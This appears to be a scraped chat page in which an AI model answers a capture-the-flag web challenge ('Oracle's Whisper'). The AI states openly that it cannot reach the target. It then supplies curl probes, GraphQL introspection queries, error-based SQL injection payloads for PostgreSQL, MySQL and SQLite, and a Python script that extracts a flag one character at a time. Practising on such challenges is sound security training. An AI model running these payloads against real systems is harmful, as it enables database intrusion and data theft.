Oracle's Whisper 150 作者:Riddler 2780 solves 深处的神谕...
Создано: 18 мая 2026 г.
Отвечено с использованием GPT-5.5 Thinking от Chat01
Создано: 18 мая 2026 г.
Отвечено с использованием GPT-5.5 Thinking от Chat01
Oracle's Whisper
150
作者:Riddler
2780 solves
深处的神谕只对懂得低语的人开口。每一次错误的祷文,都让她吐露一个字节的秘密。
题目地址:39.105.213.28:12605
我这边直连 39.105.213.28:12605 失败,nc / curl 都是 Connection refused,所以现在拿不到真实首页、GraphQL schema、响应包,也不能诚实地编一个 flag。公开搜索也只看到同题目的 Chat01 页面,没有可靠 WP 或 flag;ISCC 官网页面显示这是 ISCC2026 线上挑战赛相关赛题环境。(chat01.ai)
从题面看,WEB 方向更像 error-based oracle / GraphQL filter 注入,不是单纯 crypto。关键词是:
“每一次错误的祷文,都让她吐露一个字节的秘密”
也就是:构造错误,让后端报错信息里带出 flag 的第 N 个字符。
你本地服务能连时,先跑这几条确认入口:
bashcurl -i http://39.105.213.28:12605/ curl -i http://39.105.213.28:12605/graphql curl -i http://39.105.213.28:12605/robots.txt
如果存在 /graphql,先测:
bashcurl -s http://39.105.213.28:12605/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"{__typename}"}'
然后做 introspection:
bashcurl -s http://39.105.213.28:12605/graphql \ -H 'Content-Type: application/json' \ -d '{"query":"query{__schema{queryType{fields{name args{name type{kind name ofType{kind name}}}}}}}"}'
重点找带 filter / where / search / q 参数的字段。常见 payload 形态如下:
graphqlquery($f:String!){ whispers(filter:$f){ id content } }
变量里测试单引号:
json{ "f": "'" }
如果返回 SQL / parser 错误,就用 error-based 逐字节泄露。按数据库类型试:
PostgreSQL:
sql' OR 1=CAST(('x'||SUBSTR((SELECT flag FROM flag LIMIT 1),1,1)) AS INT)--
MySQL:
sql' OR updatexml(1,concat(0x7e,substr((select flag from flag limit 1),1,1),0x7e),1)--
SQLite:
sql' OR CAST(substr((SELECT flag FROM flag LIMIT 1),1,1) AS INTEGER)--
自动化脚本模板:
pythonimport requests import re BASE = "http://39.105.213.28:12605" GQL = BASE + "/graphql" # 按实际 schema 改这里 QUERY = """ query($f:String!){ whispers(filter:$f){ id content } } """ def req(payload): r = requests.post( GQL, json={"query": QUERY, "variables": {"f": payload}}, timeout=8, ) return r.text def leak_char(pos): # 先用 PostgreSQL 模板;不行就换 MySQL / SQLite payload = ( "' OR 1=CAST(('x'||SUBSTR((SELECT flag FROM flag LIMIT 1)," f"{pos},1)) AS INT)-- " ) text = req(payload) print(f"[{pos}] response:", text[:500]) # PostgreSQL 常见错误: # invalid input syntax for type integer: "xf" m = re.search(r'invalid input syntax.*?:\s*"x(.?)"', text, re.I | re.S) if m: return m.group(1) # 通用兜底:看 ~c~、xc 这类回显 m = re.search(r"x(.?)", text) if m: return m.group(1) return None flag = "" for i in range(1, 100): ch = leak_char(i) if not ch: print("[-] leak failed at", i) break flag += ch print("[+] flag =", flag) if flag.endswith("}"): break
如果首页源码里确实有 TODO: review filter parsing before public release、/graphql、/api/profile 之类信息,那攻击链大概率就是:
text/graphql filter 参数注入 → 构造数据库/解析器错误 → 错误信息回显 flag 的一个字符 → 循环 pos=1,2,3... → 拼出 flag
当前唯一卡点是远端端口拒绝连接。你本地如果能访问,把 /graphql 的 introspection 返回、或者单引号测试的完整报错贴出来,我就能把上面的 QUERY 和 payload 改成可直接跑出 flag 的版本。